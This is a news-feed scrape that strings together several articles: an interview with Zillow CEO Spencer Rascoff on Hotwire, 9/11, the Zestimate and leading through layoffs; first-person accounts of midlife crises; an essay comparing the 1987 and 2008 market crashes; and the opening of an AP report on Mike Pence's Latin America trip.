Shontell: So you started what eventually became Hotwire, in the late ’90s. Prime dot-com boom.

Rascoff: Bubble.

Shontell: And then in 2001, obviously 9/11 happened, and that rocked the entire industry, but you were in the travel industry and it really hit your business hard. So talk about that, because it also sounds like, from what I understand, you all discovered that you personally had a role, unintentionally, in that day.

Rascoff: You know, 9/11 really tested the company for a lot of reasons.

So first off, for me personally, I was in New York on September 10. I spoke at the Millennium Hilton at World Trade Center, which was, of course, crushed the next day. I was on the Newark-to-SFO flight on the 10th — or maybe I’m off by a day — but within a day or two on the same flight, same flight number, and so I was personally shaken up by my connection to it, and I actually lost a family friend on the plane that went down in Pennsylvania, and so that was obviously difficult. And then that morning we had tens of thousands of customers who were stranded around the world, who we had sold airline tickets and hotel rooms to. So we had this huge customer-service nightmare. And then to make matters worse, as you alluded to, Hotwire actually sold some of the tickets to the hijackers.

Shontell: How did you realize that? And what was it like when you put that together?

Rascoff: Not that it makes much difference, but it wasn’t the September 11 flights, it was the flights a couple of days earlier that put the team in place in Bangor, Maine, and then they flew from Bangor to Logan. I think the way we found out about it was the FBI told us, they came knocking, I think, probably that day or within a couple of days. And it cast this really awful shadow of culpability over the company. So as we were struggling with dislocated customers, employees who we weren’t sure of their location, and then there’s the shadow of this weird connection to the actual tragedy itself. And then from a business standpoint, basically nobody traveled for, like, six months.

And so it was a very difficult time, and we had significant layoffs. We did a down round, which wiped out a lot of the equity that the employees had in the company. To our credit, two years later we had turned the company around and pulled through all of that trauma and sold the company successfully to Expedia for about $ 700 million.

Shontell: In all cash.

Rascoff: In all cash, which at the time — this is so quaint, right? — in 2003, when we sold the company, that was the largest-ever all-cash sale of a tech company. You know, now $ 700 million is just like an Uber series E round.

Shontell: So coming back from that, it must have been hard because it rocked your business, and every tech business was rocked hard, and coming back to that kind of exit. I mean, how did you do that?

Rascoff: The team stuck together.

I mean, the first thing we did was we cut deep at the company, and I’ve done layoffs, unfortunately, twice in my career, once at Hotwire and then once at Zillow. I think it’s important to cut deep enough that you never have to have a second round of cuts, if possible, because the fear of, “Oh, am I going to be next?” It just paralyzes the organization, so we cut probably deeper than we had to, intentionally, to leave some cushion, and we recommitted the employee base to the mission and to each other.

You made me talk about my brother, but I guess it’s not that different than that, it’s like, “Now we have to sort of succeed so that those that are no longer here didn’t sacrifice what they sacrificed in vain.” And so we worked our butts off to make Hotwire successful. We did a lot of really smart tactical business-oriented things around the pivot to hotels, around innovations in the product.

At the time, Priceline was our main rival and the “name your price” thing Priceline’s innovation, and Hotwire’s innovation was that we showed you the price, and so you didn’t know what the hotel was until after you purchased, but we showed you what the price was and so it took some of the guessing out of it. And that was very innovative and it made for a very appealing value proposition to our suppliers, our airlines and hotels, but also to consumers.

And then we took a big bet on advertising. One of the benefits of the dot-com meltdown was TV advertising was pretty cheap because all those startups that were advertising in the late ’90s were gone. And so at Hotwire, we invested really early in TV. Today, of course, you turn on the TV and two seconds later you’ll see an ad for Trivago and Expedia and Tripadvisor, they’re everywhere. But in 2001 to 2003, the airwaves were pretty empty from travel advertising and that was a big bet that we made, and it paid off.

Shontell: So when you’re selling the company, it sounds like a huge, amazing exit. Was it was great for you guys as founders or was it not?

Rascoff: It was not. And this is a good lesson for founders: a down round basically wipes out most of the employee equity because employees typically have common and investors typically have preferred, so a $ 700 billion sale sounds really great but it’s mostly the venture capitalists that made the money, not the employees. You don’t have to feel sorry for anyone at Hotwire, they all did fine and they’re doing fine. But it wasn’t the type of exit that I think people expected.

Shontell: Right, it’s not like when you read, “Twenty-five year old sells his company for $ 700 million in all cash.”

Rascoff: Read the fine print, or it usually doesn’t get printed as fine print, but usually stories like that have a little layer of complexity to them.

Working with Dara Khosrowshahi

dara khosrowshahiReuters

Shontell: So you go on and you become a VP at what is now Expedia.

Rascoff: Yeah, so the two years prior to the sale, from 2001 to ’03, those two difficult years after 9/11. I was actually commuting to Seattle because on September 10, 2001, my wife moved from San Francisco, which is where Hotwire was, to Seattle to go to med school at the University of Washington. Our first day apart was September 11, and I remember watching it on TV from San Francisco and on the phone with her in Seattle. So for those two difficult years, I was also commuting to my wife from San Francisco to Seattle. As soon as we sold the company to Expedia, which is based in Seattle, I moved, like, literally that week, and I worked at Expedia and I managed the hotel business for Expedia, Hotwire, and Hotels.com. And I was there for about a year.

Shontell: And you worked with Dara, who is now the Uber CEO, right?

Rascoff: I worked with Dara, who I’d known. Everything kind of comes full circle.

When I was a summer analyst at Allen and Co., when I was 19 and in college, he was at Allen and Co. as a junior investment banker and he was my mentor at Allen and Co., so I had known Dara since I was a teenager really. And in the weird small world that it is, he ended up being my manager at Expedia when he was the CEO at Expedia. And so I reported to Dara and he’s a fantastic person, executive, manager, mentor, friend. I think the world of him and he’s the right choice for Uber. He’s exactly what they need right now.

Shontell: So you’re basically saying I should have called you two months ago and you would have known that this was happening when none of the world did.

Rascoff: It was. And I was surprised how surprised everyone was.

I mean, and that’s actually a testament to Dara; it’s because he is not a self-promoter. Most people probably never heard of Dara Khosrowshahi until the Uber announcement, and that’s because he would have it no other way.

So I report to Dara at Expedia, but I wasn’t that happy. I wanted to be in a smaller company environment, more entrepreneurial, where I could make more of an individual difference. And so in 2005 I left with most of the Expedia management team that preceded Dara, and we all left to start Zillow together. So the first probably 15 or 20 employees at Zillow all came from Expedia, and that’s basically the founding team from Expedia.

Imagining a price on every roof

Zillow appZillow

Shontell: So were you, like, “Hey, I think let’s do this Zillow thing.”

Rascoff: Five or six or seven of us were just literally in that conference room for weeks discussing, debating, thinking, talking, writing on whiteboards, trying to decide whether to do something in real estate or something else.

We knew we wanted a startup; we knew we wanted to do it together.

We ultimately decided that the consumer need was so great in real estate that consumers were so disempowered. There was this information asymmetry between consumers and professionals in real estate, and so we thought we could apply some of the same themes around information empowerment. However, there’s a huge difference that frequently gets lost in the details. In the case of travel, it’s a really simple transaction and you don’t need an intermediary. You can buy an airline ticket from Expedia or Hotwire and you don’t need to talk to anybody. In the case of real estate, it’s a complex, infrequent, expensive, emotional transaction, and so I believe it will always have an intermediary, always have a real-estate agent in the transaction.

So at Zillow, we never, even from the very beginning, we never endeavored to eliminate the real-estate agent. We just wanted to provide the consumer with the same information as the real-estate agent and then let them work together. It’s much more akin to a WebMD, where there’s all this information about health care, and the patient and the patient’s family can read it, but then they still go to the doctor and the doctor helps them interpret that information. They’re not cutting out the doctor; they’re just informing the patient.

Shontell: So what’s the first product iteration of Zillow like? And how do you start getting early traction for it?

Rascoff: I still remember we were in this high-rise at 2 Union St., in downtown Seattle, and we’re looking at Queen Anne, which is this neighborhood on a hill that looks at downtown on one side and Puget Sound on the other. And when you look at Queen Anne from the high-rise of this conference room, you can see this landscape of hundreds of houses, and we said: “Every other real-estate site focuses on what’s for sale. What if we focused on answering this other question that people have about real estate, which is, ‘What’s my house worth?'”

And we looked at Queen Anne, and we envisioned “Imagine a price on every rooftop.” Wouldn’t that be amazing?

And then to further the Seattle part of the story here — this is very Seattle, so indulge me for a second as we sit here in midtown Manhattan, feels a world away. Whales in Puget Sound frequently breach. And so as they pass from Mexico and California up to Alaska during whale season; you can actually see them from offices in Seattle, you can literally see whales in Puget Sound, which is, like, can you imagine a whale in the East River? It’s weird to imagine.

But anyway, so we talked a lot about whales and we said, “When you go whale watching and a whale breaches, a whale jumps up above the water, everybody oohs and aahs and takes pictures of it and talks about “Oh, look at the whale,” and then the whale goes back under water for like 45 minutes, and it’s the most boring thing in the world. You have no idea where the whale went. And that struck us as a lot like housing.

When a home comes on the market, everyone talks about it, you take pictures — “Oh, did you see the neighbor’s house?” — but then the home goes off the market and there’s no conversation about it. But actually a lot of interesting stuff is happening when that whale is under water, and to the home when it’s not on the market. We tried to provide transparency to the whole real-estate marketplace, not just the 3% of homes that are for sale at any point in time. So shine a light on what’s happening when the whale is under water was kind of inspiration for us.

Shontell: And that was the Zestimate.

Rascoff: Yes.

We said: “OK, let’s try to figure out what every house in the country is worth. Great. OK. How do we do that? Well I know — let’s call Stan,” and literally we called Dr. Stan Humphries, who was running analytics and personalization at Expedia, and we called him up and we said, “Stan, we finally figured out what we want to do. We want to figure out what every house in the country is worth, and we want you to be the person who helps us do that.” And he said, “Well, I don’t know anything about real estate.” And we say: “It’s OK, this is not about real estate. This is a math problem. It has nothing to do with real estate.”

And we went about the task of assembling all this data from county sources. So most of this information — bed, bath, square footage, tax assessment, sale history — is available in county courthouses, but we had to go acquire it, digitize it, and then build the data layer, the Zestimate, that sits on top of that.

And when we launched in — I think it was February 2006 — we got about a million visitors within the first day. Even all these years later, I still don’t think any other service — Snapchat, Facebook, whatever — I don’t think anyone else has had a million users in day one because it’s so cool and so innovative to say, “Oh, my god, I can grab my kid’s school roster and I can Zillow everybody at my kid’s school and see what everyone’s house is worth, see what everyone paid for the home.” That was just, like, this, “Oh, my God” kind of thing that launched the company in 2006.

Shontell: So you launched Zestimate. Was there press around it? Were headlines writing themselves?

Rascoff: Massive press.

I was the CMO at the time, and I met with Henry Blodget at Business Insider — it was a small operation back then — and we met with Walt Mossberg at The Wall Street Journal and we met with Bob Tedeschi at The New York Times and on and on. We briefed them, under embargo, and they were Zillowing their house and they were Zillowing the houses they grew up in on the test site.

Then, the day we launched, there was this huge media explosion, and it brought the site down. So the good of this huge amount of traffic was, well, we launched with a bang, but about six hours later, the website crashed and was down for about four or five hours before we could scramble to get it back up.

Shontell: And did you have a patent on it? Was that important?

Rascoff: We filed probably a couple of dozen patents, including different things around the Zestimate, but to be candid, we’ve never really over invested in patent protection because it’s the type of thing in technology that it’s very hard to rest on. You can have a patent for something and then a couple of other companies violate that patent and then you get relief six years later, but by then it’s too late. It’s like, “Well, what good is that?” It wouldn’t save the day, we don’t think.

Spencer Rascoff ZillowCourtesy of Zillow

Shontell: It sounds like you have this amazing initial day of launch that any startup would kill to have, by having this innovative piece of technology that you’ve built. But then a couple of years later, 2008 happens, and you’re back in another crash.

Rascoff: Yeah, history repeats itself. I’m starting to think maybe I’m the problem.

Shontell: Maybe the businesses you start should give us all a sign.

Rascoff: No, it’s true.

Almost two years to the day from launch, in both cases — Hotwire, ’99 to ’01, and Zillow, ’06 to ’08 — these companies hit just a huge brick wall and from an exogenous event totally out of our control. Now, at least in this case, we called it, we saw it coming. You can still go back and you can look on the Zillow blog and see posts that I wrote, and Stan, who by this point had become our chief economist, wrote about how it was obvious, in our opinion, that housing was going to crash and that it was built on the foundation of sand and there was too much easy credit that had allowed people to buy homes who really couldn’t afford them. And so our data was predicting it. Unfortunately for us, we didn’t short housing or anything like that. We could have probably done very well if we had acted on our data, but we didn’t.

Anyway, we saw it coming but that was little consolation. Housing still crashed, we still had layoffs, we avoided a down round this time, though, and that is not insignificant. And as was the case with Hotwire, within another year or two, we got up off the mat and were doing well. It was the same thing: It was cut deep and recommit the remaining employees to the mission. In both cases, the adversity that Hotwire and Zillow faced, there was a silver lining, it turns out, it made both companies much stronger as a result, and I don’t think Zillow would have been as successful today had it not been for the adversity that we faced in ’07, ’08.

Growing Zillow

Zillow IPO Spencer RascoffCourtesy of Zillow

Shontell: So from there you took the company public in 2011 — your first time taking a company public.

Rascoff: I had advised as an investment banker taking other companies public, but certainly the first time as a public CEO, and it was a fun, interesting experience but not the end by any means. I mean, we viewed it very much as just a steppingstone, not the end, but the beginning. We had about $ 15 million of quarterly revenue, we had about a $ 500 million market cap when we went public.

Shontell: And now you’re doing what? A billion?

Rascoff: Today, we do about $ 250 million of quarterly revenue, but over a billion of revenue, and we have about $ 7 or $ 8 billion market cap. So the company has grown tremendously: 16 acquisitions and 3,500 employees. When we went public we had about 300 employees. So everything is about 10x today as compared with the IPO about six years ago, and that’s been amazing. It’s also forced me to totally change everything about how I lead and how I manage and what my calendar looks like and what my day-to-day is because the company is just a totally different animal today than it was six years ago.

Shontell: So talk about that. You have a podcast of your own called “Office Hours,” and there’s an episode with Bill Gurley — a well-known tech investor who has been on your board — that I was listening to. Bill was saying, “It’s great when startups can figure out how to grow to be worth tens of millions and then generate hundreds of millions, but it is a Herculean effort to get it from hundreds of millions of revenue to billions.” And you’ve done all that, and now your job is to get it from a billion to more.

Rascoff: And it only gets harder.

It’s true: The first $ 100 million of revenue is the easiest. That probably sounds like really callous, but the truth is that it only gets harder. When you have $ 1 billion in revenue, it’s very difficult to grow 25% year over year because you have to invent huge new revenue lines to move the needle. And that’s a lot easier off a small base.

The other issue that faces all companies is, as you get to a large enough size, there are people whose job it is to protect business lines — they’re just doing their job — but this is the classic case of ‘The Innovator’s Dilemma,” the famous business book, which says that when companies ultimately fail, whether it’s Polaroid or whoever, it’s not because they were big and dumb; it’s because they were actually really smart. They actually were protecting their core; they were doing what you think you’re supposed to need to do when you’re running a big company, but they don’t actually innovate because they’re not willing to risk the core, and so they get disrupted. And that is what I spend most of my time worrying about now: We were the disrupter. How do we now avoid being disrupted?

Shontell: And most of the money, is it still ads? Is it putting people in touch with a realtor?

Rascoff: It’s all advertising of different sorts. So about 75% of our revenues — I call it $ 750-ish million — comes from individual real-estate agents. And then we have a big mortgages business, a rentals business, and a display-advertising business, new construction business, all that together is about a quarter of revenue. But it’s all advertising.

Setting yourself up for success

Spencer Rascoff ZillowCourtesy of Zillow

Shontell: You touched on this, but you’ve had to change your leadership style and your whole calendar and everything now that you’re running a $ 7 billion company. How have you figured out how to do that, and what are some things that you’ve learned?

Rascoff: So first of all, you have to take seriously this reflection that for every person at the company, you need to think about, “Is that the right person for the next two years in the role?”

So if you’re a manager, you have 10 direct reports; those people, they show up for work today just because they had the job yesterday, but you as their manager need to think, “Is that the right person for the next two years?” And if not, change that person or figure out to change their point of view. But I also think about that for myself, and so I think, “OK, how do I set myself up for what the next two years look like, and what changes do I have to make?”

Everything I say now has a different weight to it, which took some getting used to. I mean, when we were a small startup, I could sort of ask random questions and throw out random ideas. Now people actually do the things I randomly say.

Shontell: Your words have weight.

Rascoff: Yes, and so realizing that requires me to then change even my questions because questions are really statements in disguise, and even my attendance at things is a vote that I think that thing is important. So being really reflective about those things is something that I’ve worked hard at. And so it’s ongoing.

Shontell: All right. So to afford these great big houses, you need to have a successful career. You’ve had a tremendously successful career. So looking back on it, what would you say has made you the most successful?

Rascoff: I’ve always looked 10 years my senior and tried to find somebody at my company to think about if I want that person’s life, their whole life.

Usually, younger people, earlier in their career people, look at a senior person and they look at their compensation, and I’m advising not to do that. So you’re an associate in the marketing department, look at the VP of marketing and say, “Do I want her or his work-life balance, respect in the community, intellectual stimulation of their job, title, sure, compensation, yes, but sort of the whole package?” That’s the path you’re on.

Like, you could wake up in the blink of an eye and end up in that world. And if you don’t like that trajectory, then find some other path. The other advice I’d give is something that Sheryl Sandberg has been very articulate about, eloquent about, which is this whole “Your career as a jungle gym not a career ladder.” It’s something that I found in my career.

So what does that really mean? It means that you’re on a particular path and then be willing to go off to the side. So in my case, for example, I was running supplier relations, so relations with the hotel industry, and then I moved over to a marketing role where I really had no experience or background, and then I moved over to a finance role where yet again I had no direct experience. And so it was kind of like one step to the side to take two steps forward, one step back to take three steps forward, and charting this very kind of circuitous route, which is unique to this generation.

I mean, our parents and our grandparents had a much simpler career path, just sort of do the time and you’ll get promoted eventually. That’s not the way it works now. So you have to build your own career path and be willing to take some steps to the side in order to take steps up.

Shontell: Spencer, thank you so much.

Rascoff: Thank you.

NOW WATCH: Signs you have a toxic boss — and what you can do about it

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]]> https://briefnews.eu/how-the-founder-of-zillow-and-hotwire-led-his-startups-through-major-crises-layoffs-and-a-down-round-to-massive-exits/feed/ 0 A 37-year-old, 45-year-old, and 88-year-old on their quarter- and midlife crises https://briefnews.eu/a-37-year-old-45-year-old-and-88-year-old-on-their-quarter-and-midlife-crises/ https://briefnews.eu/a-37-year-old-45-year-old-and-88-year-old-on-their-quarter-and-midlife-crises/#respond Mon, 09 Oct 2017 15:53:14 +0000 http://briefnews.eu/a-37-year-old-45-year-old-and-88-year-old-on-their-quarter-and-midlife-crises/ american beauty briefcaseParamount/YouTube

Starting a steampunk band, taking up quad biking or deciding to jump out of a plane—ever since Canadian psychoanalyst Elliott Jaques coined the term “midlife crisis” in 1965, more and more 40-something men have claimed to have had one.

Despite the fact that scientists and economists believe there’s little evidence behind it, a quick Google search will deliver hundreds — if not thousands — of think pieces, blog entries and pleading Reddit comment threads about the phenomenon (the same for the quarter-life crisis).

Similarly, pop culture pretty much only offers a romanticized version of mid- and quarter-life crises.

Three quick examples: Lost in Translation, American Beauty and Fight Club — each of whose plots largely revolve around middle-aged men indulging their vices to combat existential woe.

But how do life crises really play out, and why do we still care so much about them?

MEL recently asked four men of different ages about their life crises, and what they think it tells us about the mid- and quarter-life crisis in 2017.

Umar*, 37

I graduated at the top of my class at the London Business School back in the 1990s. Back then, being a broker was a big deal, because you knew that’s where the money was at.

I was young, impressionable and lived in a house of 12 people. I wanted to escape. That’s why I felt I needed to make a ton of money.

I hated working in finance from the start, however. The hours were long and brutal, largely consisting of getting shouted at by your superiors and then getting drunk afterward. I remember the moment I asked myself, “What the f— am I doing?”

mechanic car fixingvisualanthology/FlickrI was sitting on a park bench by myself, during one of the rare moments we were allowed out of the offices. My colleagues had all gone to the pub for the fourth day in a row, and I decided to go home.

I sat on that bench for hours, just contemplating life. I remember seeing these dads playing with their kids and an elderly couple walking hand-in-hand. I realized: I want that. I really, really want that.

I quit finance a year later. I knew I wanted to do something practical, something that didn’t involve looking at screens all day or shouting obscure numbers at people. So I decided to go back to a training college in South London.

Eventually, I became a mechanic. It was weird at the start. I was in my late 20s doing jobs alongside 16-year-olds who had ended up as trainee mechanics because they’d messed up at school. Some of them found it bizarre that I left a high-paying job — one that they would’ve killed for — to clean out fuel tanks and polish motor casing.

But even though it was grueling work, I’ve loved every moment of it.

I remember on my first day, I was so excited — more excited than I’d ever been throughout my entire time working in the city. It was a feeling I’d missed, but I’m glad I got it back before it was too late.

I’m married now, and I have a son who’s just turned 3 years old. I’m still working at a big mechanic’s shop in London, but I’m hoping to start my own business soon.

I do worry that my son may end up going through what I did, but I think that’s what all parents do. I hope that if I’m able to open my own garage, that I can spend quality time teaching him everything I know.

* Name changed to protect anonymity.

David Evans, 45

I guess you could say that I’m a living stereotype. I had a very, very dull office job.

I made decent money, but worked long hours, mainly making spreadsheets that took up too much time and didn’t say very much. I hadn’t been happy in that job for a long time, but I powered through it, day-by-day.

500 Days of SummerFox SearchlightThen, in the evenings, I’d usually go back to my crappy flat, smoke weed and sleep.

Things changed when my girlfriend broke up with me two years ago. I deserved it. I was a prick who barely spent any time with her. Meanwhile, I expected her to do a lot of things for me.

She was on a different path — she had wanted to become a teacher her whole life and was rising up the ladder to become the head of her department. I feel ashamed now, but I resented her happiness and successes, because I was so anxious about my own. Basically, I spent most of my 30s in a life crisis and projected it onto her.

She broke up with me after we had been dating for eight years. I couldn’t propose to her. I don’t know why, but I think it was because I didn’t want to get married while I was so miserable.

Have you ever seen that movie 500 Days of Summer? There’s the scene where the main guy, after having been broke up with, mopes around for days, and then suddenly gets this eureka moment, when he realizes what he has to do.

Well, I WISH I’d gotten that.

Even after my ex broke up with me, I stayed in the same lousy job. But I needed to get my mind off her somehow, so I ended up joining an improv class. I hadn’t considered being an actor before and I thought it sort of stupid to start, but I joined because it was free and also because I thought it might help me meet another woman.

Though the latter hasn’t come true, I did find acting to be therapeutic, and also really, really fun. So much so that last year, I quit my job and decided to try become a theater actor for real.

My family thinks I’m crazy. It’s the stereotypical midlife crisis in its most visible form.

But it’s made me feel more alive than ever, and it gave me the incentive to move to Paris after years of indecisiveness. I currently work as a theater assistant for a small arts organization and act in things during my time off.

Learning scripts is hard enough — learning them in French is a whole different ball game — but I’m learning new things every day.

Even if the rest of my life is in community theater, I’d die happy.

Albert Edward-Smith, 88

People think having a midlife crisis is something new.

You see it on the news a lot — that having a crisis is something only privileged people go through, the ones who didn’t have to fight in the great wars. But I’m here to say that’s completely wrong!

I had lots of life crises when I was growing up.

After all, we’d grown up in the middle of the Second World War! I was technically too young to join the war effort, though my family and I did assist with the volunteer effort.

wwiiAPMy mother and my grandmother were both nurses. My father died when I was a boy, so there wasn’t a male figure to look up to, other than my uncles and their friends — most of whom had been conscripted, and many of whom died during the war.

I had friends who were a bit older than me, but who looked much older, meaning they were able to join the army. That made me feel bad. It felt as if they’d been given the honor of fighting for our country while I didn’t. I remember feeling that my life didn’t have as much meaning compared to theirs.

After the war, when I was 23, I got married to my wife, who was 22 at the time. It was more common to marry younger then compared to now, mainly because you could afford to live in your own house!

That didn’t mean we had our lives sorted out, though. My wife was working as a receptionist, but she very much wanted to be a painter. I had a job working at a suit shop in London, which didn’t pay well and also wasn’t what I imagined myself doing just a few years before.

Neither of our jobs were very secure, either. Back then, you didn’t job-hop much so we were both worried we’d end up stuck in our jobs until we died — or worse, that if we got fired, we wouldn’t be able to find other work elsewhere. We also didn’t have the means to have children as quickly as our friends.

We didn’t talk about feelings openly a few decades ago, but I definitely did cry in private and to my wife. I do think my friends — the ones who I’d go to the pub and to football matches with — felt the same way, too.

Though there are definitely more challenges now, I also think there’s more knowledge and acceptance around things like mental health, which makes it easier to talk about these things.

In other words, quarter- and midlife crises have always been here. Only now, we have a name for it!

Hussein Kesvani  is a contributing writer at MEL.

More from MEL:

A gentleman’s guide to being a good bar regular

The plain white tee and all the other items that have defined men’s fashion

Why I can’t stop thinking about the gun I bought (but never brought home)

The adorably toxic trend of throwing parties for coworkers who quit

This is how much cash you should carry with you at all times

NOW WATCH: A happiness expert explains why having work friends is vital to your success

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]]> https://briefnews.eu/a-37-year-old-45-year-old-and-88-year-old-on-their-quarter-and-midlife-crises/feed/ 0 Those Who Don’t Learn From Financial Crises Are Doomed to Repeat Them https://briefnews.eu/those-who-dont-learn-from-financial-crises-are-doomed-to-repeat-them/ https://briefnews.eu/those-who-dont-learn-from-financial-crises-are-doomed-to-repeat-them/#respond Tue, 19 Sep 2017 11:28:00 +0000 http://briefnews.eu/those-who-dont-learn-from-financial-crises-are-doomed-to-repeat-them/ Veterans of the stock market insist that the four most dangerous words on Wall Street are “this time is different.”

It rarely is. In the autumn of 1929, Irving Fisher, a prominent economist at Yale, assured Americans that stock prices had reached “what looks like a permanently high plateau.” That was on October 15, just days before the opening stumble in an epic crash that, by its nadir in 1931, would cut the American stock market’s value by almost 90 percent. In early 2000, exuberant tech analysts argued that revenues and profits were no longer the metrics that mattered in the internet age. Then the dot-com bubble burst and the technology-laden Nasdaq Composite Index fell almost 80 percent between March 2000 and October 2002. Clearly, when the market is soaring, it can be ruinous to believe that its highs are the mark of some fundamental financial shift.

But sometimes, the market really is different. One of those times was October 19, 1987—Black Monday, the day of the largest percentage declines in Wall Street history. Then as now, a typical day might see the Dow Jones Industrial Average wiggle a few tenths of a percentage point; in the wake of calamitous news, the index might plunge as much as 5 percent. But on that single devastating day, the Dow lost 22.6 percent. Other market barometers, including the broad Standard & Poor’s 500 index, also plummeted on Black Monday. The declines, swift and seemingly unstoppable, were twice as bad as the worst day of the 1929 crash, and no single day’s decline during the meltdown in 2008 even came close, in part because regulators imposed some restrictions on the trading of shares when it was clear the financial sector was getting battered.

As I write in my recent book about Black Monday, what made that decline so different was not just its scale and speed. In hindsight, it clearly was the first modern market crash, reflecting significant and lasting changes in how Wall Street works—changes that, even after they intensified and did damage again in 2008, regulators still puzzlingly have yet to fully address.

Before 1987, crashes typically were confined to specific markets—the stock market, the gold market, the bond market, or the commodity markets. On Black Monday, the turmoil hit everywhere at once: in the futures trading pits and options markets in Chicago, on Treasury trading desks in New York, in the gold trading pits in New York, as well as on every stock exchange in the country. The panic spread around the world, leaving the Hong Kong market shuttered for a week and causing record-setting declines in other financial capitals. The speed with which the crisis bypassed the traditional financial safeguards exposed a balkanized regulatory system that struggled to respond in a coherent, coordinated way.

The 1987 crash was also the first market crisis to involve widespread use of financial derivatives—specifically, futures contracts and options contracts that tracked various stock-market indexes. The first of these novel derivatives was introduced in 1982. By mid-1983, they were being used by nearly a dozen giant pension funds, almost half of the 300 largest banks doing business in the United States, and a host of giant insurance companies, according to an authorized history of the Chicago Mercantile Exchange by the journalist Bob Tamarkin. The cross-market strategies used by these big investors linked the futures, options, and stock markets together in ways that were unforeseen and unprecedented.

There were different types of investors in 1987, too. While pension funds and other giant institutional investors had long populated the bond and mortgage markets, they were relative newcomers to the stock market. When they first started to shift assets into stocks in the 1970s, they did so with astonishing speed and on an enormous scale. In a 2000 book on the impact of pension funds on the stock market, the longtime Pensions & Investments editor Michael Clowes noted that the size of these funds’ stake in the stock market grew by nearly 20 percent each year between 1974 and 1980. And that was before a robust bull market arrived during August 1982, attracting even more institutional cash. The potential consequences of this extraordinary migration of titan-sized investors into the stock market was poorly studied and poorly understood in the years before Black Monday.

The 1987 crash was also the first meltdown to be vastly accelerated by a growing reliance on computers to deliver orders to the market and move cash around from market to market. The New York Stock Exchange had automated parts of the process of handling customer orders, but its systems were overwhelmed by all the orders delivered during the panic by the computers hooked up to Wall Street trading desks. The automated Federal Reserve system that banks relied on to transfer cash was disabled for hours at a time by the sheer volume of business on Black Monday.

As a result of all these tectonic changes, Black Monday was truly a different sort of crash—a crash that allowed Wall Street and Washington to look into the future, if they dared. In that future, there were no isolated markets—there was one market, where giant investors surged in and out of a variety of investments at a speed and on a scale never seen before. In short, the 1987 crash reflected permanent changes in the way markets worked.

And yet Black Monday didn’t lead to any meaningful reforms. No wonder, then, that the two most devastating market meltdowns of the past 30 years, in 1987 and 2008, sound so much alike. In each case, poorly understood derivatives being used on an unprecedented scale by large-scale investors put major banks, insurers, institutional investors, and brokerage firms in the same precarious position. Regulators, whose jurisdictions were limited to small patches of this vast unified market, were hard-pressed to coordinate their response as the panic spread.

The story of how the financial system survived the 2008 crisis also includes echoes of what happened in 1987. The easing of credit by the Federal Reserve was crucial in both instances. The emergence of pragmatic leaders willing to step outside their traditional lines of authority helped restore public confidence and calm the rising panic. In 1987, those leaders included New York Federal Reserve Bank President E. Gerald Corrigan and New York Stock Exchange Chairman John J. Phelan Jr. In 2008, they included Treasury Secretary Hank Paulson and Fed Chairman Ben Bernanke.

Not everything these people tried in 1987 or 2008 worked, but they seemed to intuitively understand the lesson Franklin D. Roosevelt invoked in the dark spring of 1932, as cited by the author, lawyer, and former banker Charles R. Morris in his recent book, A Rabble of Dead Money: The Great Crash and the Global Depression: 1929-1939. Speaking to the graduates of Oglethorpe University, outside Atlanta, Roosevelt said: “The country demands bold, persistent experimentation. It is common sense to take a method and try it: If it fails, admit it frankly and try another. But above all, try something.”

Even the postmortems of the two meltdowns were similar. In the aftermath of 1987, a blue-ribbon commission led by Nicholas F. Brady—a Wall Street veteran, a former New Jersey Republican senator, and a future Treasury secretary—tried to persuade Washington to adapt to the fundamentally new fact that the individual markets for stocks, futures, and options now, for all practical purposes, made up a single marketplace. The Brady commission urged that a single regulator be empowered to take a comprehensive view of this newly unified market and to act whenever and wherever a systemic risk emerged.

That advice, in almost the same words, was repeated after the 2008 crisis. At a congressional hearing in October of that year, former Treasury Secretary John Snow, who had served earlier in the George W. Bush administration, complained that “no single regulator has a clear view, a 360-degree view” of the labyrinthine modern market. Christopher Cox, who was the chairman of the Securities and Exchange Commission during the crisis, testified at the same hearing that “coordination among regulators, which is so important, is enormously difficult in the current balkanized regulatory system.”

There is another stark similarity between the 1987 and 2008 crises. In both cases, those warnings about fundamentally new market risks and a fragmented regulatory system were largely ignored. The current mechanisms for policing financial risk actually give regulators even less latitude for improvised emergency measures than they previously had, thanks to provisions of 2010’s Dodd-Frank legislation aimed at deterring financial “bailouts” during a meltdown.

In 1987, the financial situation truly was “different this time,” and it remains different three decades later. But while high-speed trading and social media mean the market can respond to panic rapidly, regulators can’t respond much faster than they could three decades ago. Bank regulators, market regulators, and insurance regulators still operate largely as separate fiefdoms; there is no single agency with the comprehensive view the Brady Commission recommended after Black Monday.

Why were so few safeguards put in place between 1987 and 2008, and even after 2008? The status quo always has many defenders, of course. For years after the Great Depression, the embedded powers of Wall Street resisted any wholesale change in how markets were regulated. When the U.S. economy avoided a recession after the 1987 crash, the Brady Commission’s warnings seemed less worrisome. Soon, a rapidly escalating crisis in the savings-and-loan industry confronted financial regulators and Congress with urgent, politically weighted problems that took time and attention away from any broad effort to modernize the way stocks and derivatives were regulated. After 2008, political leaders might have set out to design a new, modern regulatory system. But with health-care reform at the top of the agenda and an obdurate Republican party in opposition, the best Congress could do was patch a few gaping holes and add some embellishments to the Rube Goldberg-like construction already in place.

Back in the 1980s, Phelan, of the New York Stock Exchange, could see what he was up against as he tried to prepare his enterprise to withstand the forces that nearly capsized it on Black Monday. In an interview printed in Investment Dealers’ Digest in March 1987, Phelan said, “Nobody wants to change anything until it’s raining disaster, and then they all start running around.” That, at least, is emphatically not different this time.

Business | The Atlantic

]]> https://briefnews.eu/those-who-dont-learn-from-financial-crises-are-doomed-to-repeat-them/feed/ 0 VP Pence beginning a tour of Latin America as global crises grow https://briefnews.eu/vp-pence-beginning-a-tour-of-latin-america-as-global-crises-grow/ https://briefnews.eu/vp-pence-beginning-a-tour-of-latin-america-as-global-crises-grow/#respond Sun, 13 Aug 2017 13:09:58 +0000 http://briefnews.eu/vp-pence-beginning-a-tour-of-latin-america-as-global-crises-grow/ Donald Trump Mike Pence Paul RyanWASHINGTON (AP) — Vice President Mike Pence will visit Colombia amid escalating tensions with neighboring Venezuela and North Korea.

Pence is set to meet with Colombian President Juan Manuel Santos on Sunday at the start of a weeklong trip to Latin America that is likely to be dominated by conversations about the deepening crisis in Venezuela, where the U.S. accuses President Nicolas Maduro of a power grab that has sparked deadly protests and condemnation across the region.

Trump appeared to complicate the discussions Friday with an unexpected statement that he would not rule out a “military option” in response to the Venezuelan government’s attempt to consolidate power.

The statement drew immediate push-back, including from the Columbian Foreign Ministry, which condemned any “military measures and the use of force,” and said that efforts to resolve Venezuela’s breakdown in democracy should be peaceful and respect its sovereignty.

